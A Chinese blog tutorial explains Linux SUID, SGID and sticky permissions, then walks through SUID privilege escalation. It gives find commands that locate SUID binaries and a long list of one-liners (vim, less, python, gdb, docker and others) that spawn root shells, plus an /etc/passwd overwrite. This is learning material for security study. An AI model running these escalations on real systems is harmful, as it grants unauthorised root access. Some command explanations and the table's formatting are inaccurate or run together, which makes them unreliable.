• Linux下SUID提权学习 - 从原理到使用


    1. 文件权限介绍

    linux的文件有普通权限和特殊权限(三种)。

    普通权限一般为:rwx,分别为读写执行,对应的数字表示为421。

    三种特殊权限为:suid权限,sgid权限,sticky权限。其中suid权限作用于文件属主,sgid权限作用于属组上,sticky权限作用于other其他上。


    1.1 suid权限

    作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。

    suid权限使用s表示,增加权限u+s,移除权限u-s;

    suid权限也可以使用数字形式表示,0表示去除suid权限,4表示添加suid权限,而且是在原权限的数字表达形式开头加0或4,如:0755移除suid权限,4755添加suid权限。


    1.2 sgid权限

    作用:sgid权限一般应用在目录上,当一个目录拥有sgid权限时,任何用户在该目录下创建的文件的属组都会继承该目录的属组。

    sgid权限也使用s表示,增加权限g+s,移除权限g-s;

    sgid权限也可以使用数字形式表示,0表示去除sgid权限,2表示添加sgid权限,而且是在原权限的数字表达形式开头加0或2,如:0755移除sgid权限,2755添加sgid权限。


    1.3 sticky权限

    作用:sticky权限一般针对目录来设置,作用是只允该目录下的文件的创建者删除自己的创建的文件,不允许其他人删除文件。(root用户除外,因为root用户是超级管理员),而且sticky权限只能设置在other位置上。

    sticky权限使用t表示,增加权限o+t,移除权限o-t;

    sticky权限也可以使用数字形式表示,0表示去除权限,1表示添加权限,而且是在原权限的数字表达形式开头加0或1,如下:如:0755移除sticky权限,1755添加sticky权限。


    2. SUID权限


    SUID(Set UID)权限:

    • 只针对二进制可执行(命令)文件,对于非可执行文件没有任何意义。
    • 执行者对于该文件需要具有x的可执行权限。
    • 在执行过程中,调用者会暂时获得该文件的所有者权限。
    • 本权限仅在执行该程序的过程中(run-time)有效。


    查看文件是否具有suid权限:ls -al filename
    例如:查看sudo文件的suid权限:ls -al /usr/bin/sudo
    在这里插入图片描述


    3. 设置SUID权限


    1. 方法一:sgid权限可以使用s表示。
    chmod u+s filename  #增加suid权限
    chmod u-s filename  #移除suid权限
    
    命令解释:
    chmod WhoWhatWhich filename
     其中:
     		Who(代表身份): u,g,o,a (user, group, other, all)
     		What(代表动作): +, -, = (add, remove, set exact)
     		Which(代表访问级别): r,w,x,s,t (read, write, execute,SUID/SGID,Sticky )
    

    运行结果:

    在这里插入图片描述



    1. 方法二:sgid权限也可以使用数字形式表示。0表示移除suid权限,4表示增加suid权限,而且是在原权限的数字表达形式开头加0或4。
    chmod 0755 filename  #移除suid权限
    chmod 4755 filename  #增加suid权限
    
    命令解释:
    chmod OneTwoThreeFour filename
    其中:
    	One(特殊权限位):当不设置时默认为0,SUID = 4,SGID = 2,Sticky = 1
    	Two(所有者权限):读权限加4,写权限加2,执行权限加1
    	Three(所有组权限):读权限加4,写权限加2,执行权限加1
    	Four(其他用户权限):读权限加4,写权限加2,执行权限加1
    

    运行结果:

    在这里插入图片描述



    4. SUID提权原理

    SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。



    5. SUID提权步骤


    1. 查找具备suid权限的文件。
    2. 查找对应文件的利用方法。不是所有文件都可以利用。



    查找有suid权限文件的命令:以下三条命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

    find / -perm -u=s -type f 2>/dev/null
    
    命令解释:
    		/ 表示从文件系统的顶部(根)开始,查找每个目录
    		-perm 表示搜索后面的权限
    			-u=s 表示查找 root 用户拥有的文件
    		-type 表示我们正在寻找的文件类型
    		f 表示普通文件,而不是目录或特殊文件
    		2 表示到进程的第二个文件描述符,即 stderr(标准错误)
    		> 表示重定向
    		/dev/null 是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
    

    运行结果:
    在这里插入图片描述

    find / -user root -perm -4000 -print 2>/dev/null
    
    命令解释:
    		-user root 表示文件的所有者是root
    		-perm 表示搜索后面的权限
    			-4000 表示查找有suid权限位的文件
    

    运行结果:

    在这里插入图片描述

    find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
    
    参数解释:
    		-exec 表示查找到文件后要执行的命令
    		ls -ldb {} \;  其中 -l 表示以长格式显示当前目录中的文件和目录
    							-d 表示目录
    							-b 表示块设备
    							{} 表示find查找出来的文件
    							\ 表示转义,和{}之间需要有空格
    							; 表示要执行的命令的结束符
    

    运行结果:
    在这里插入图片描述



    6. 常用指令的提权方法


    已知具有suid权限的常用的二进制文件大体有:nmap,vim,find,bash,more,less,nano,cp,awk等。


    6.1 nmap

    适用版本:nmap2.02到5.21。

    在早期的nmap版本中,带有交互模式,所以允许用户执行shell命令。

    进入nmap交互模式:nmap --interactive

    在nmap的交互模式中,通过如下命令提权:

    nmap> !sh
    sh-3.2# whoami
    root
    

    在msf中也又利用nmap进行提权的模块:exploit/unix/local/setuid_nmap


    6.2 find

    find用来在系统中查找文件。同时具有执行命令的能力。因此,如果配置了suid权限,则可以通过find执行的命令都可以用root身份去执行。

    通过如下命令提权:

    touch anyfile #新建一个文件anyfile,必须要有这个文件
    find anyfile -exec whoami \;  #通过文件anyfile执行命令whoami
    

    因此可以利用nc命令来反弹shell。


    6.3 vim

    vim的主要作用是做编辑器。如果配置了suid权限,将会继承root权限,因此可以读取系统上所有文件。

    通过如下命令提权:

    vim.tiny  /etc/passwd
    
    vim.tiny
    #vim命令
    :set shell = '/bin/sh'
    :shell
    

    6.4 bash

    以下命令将以root身份打开一个bash shell:

    bash -p
    bash-3.2# id
    uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
    

    6.5 less

    less命令也可以进入shell:

    less /etc/passwd
    #在less中输入:
    !/bin/sh
    

    要注意的是使用less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。


    6.6 more

    more命令进入shell和less相同:

    more /etc/passwd
    #在more中输入:
    !/bin/sh
    

    要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。


    6.7 其他命令的提权方法

    命令利用方法
    zshzsh
    xargsxargs -a /dev/null sh -p
    watchwatch -x sh -c ‘reset; exec sh -p 1>&0 2>&0’
    timeouttimeout 7d /bin/sh -p
    timetime /bin/sh -p
    tclsh1、tclsh 2、exec /bin/sh -p <@stdin >@stdout 2>@stderr
    tasksettaskset 1 /bin/sh -p
    stdbufstdbuf -i0 /bin/sh -p
    stracestrace -o /dev/null /bin/sh -p
    sshssh -o ProxyCommand=’;sh -p 0<&2 1>&2’ x
    setarchsetarch $(arch) /bin/sh -p
    rsyncrsync -e ‘sh -p -c “sh -p 0<&2 1>&2”’ 127.0.0.1:/dev/null
    rpmrpm --eval ‘%{lua:os.execute(“/bin/sh -p”)}’
    pythonpython -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
    php1、CMD=“/bin/sh” 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”
    nicenice /bin/sh -p
    nano1、nano //运行nano程序 2、Ctrl + R //按下ctrl+r 3、Ctrl + X //按下ctrl+x 4、reset; sh -p 1>&0 2>&0 //输入命令
    more1、more /etc/profile 2、!/bin/sh -p
    logsavelogsave /dev/null /bin/sh -i -p
    lessless /etc/profile //读取文件,在底行输入!/bin/sh -p
    kshksh -p
    ip1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete foo
    ioniceionice /bin/sh -p
    gitgit help status
    gimpgimp -idf --batch-interpreter=python-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
    gdbgdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quit
    ftpftp //在底行输入“!/bin/sh -p”
    flockflock -u / /bin/sh -p
    findfind . -exec /bin/sh -p ; -quit
    expectexpect -c ‘spawn /bin/sh -p;interact’
    envenv /bin/sh -p
    eded //在底行输入“!/bin/sh -p”
    dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
    dmesgdmesg -H//在底行输入“!/bin/sh -p”
    cshcsh -b
    bashbash -p
    awkawk ‘BEGIN {system(“/bin/bash -p”)}’
    perlperl exec “/bin/bash”;
    cp使用cp命令覆盖原来的/etc/passwd文件。



  • 相关阅读:
    python基础知识入门
    qt QLineEdit、QTextEdit 、QPlainTextEdit区别
    使用宝塔面板在Linux上搭建网站,并通过内网穿透实现公网访问
    时序分解 | MATLAB实现RIME-VMD霜冰优化算法优化VMD变分模态分解信号分量可视化
    用一个极致简单的场景演练领域建模
    SSO(single sign on)模式 --单点登录三种登录方式
    GB28181学习(十二)——报警事件通知和分发
    在vue2和vue3中Vuex的使用及其持久化存储,mutation和actions的区别
    解决问题:可以用什么方式实现自动化部署
    一文学会使用WebRTC API
  • 原文地址:https://blog.csdn.net/weixin_39762423/article/details/140111218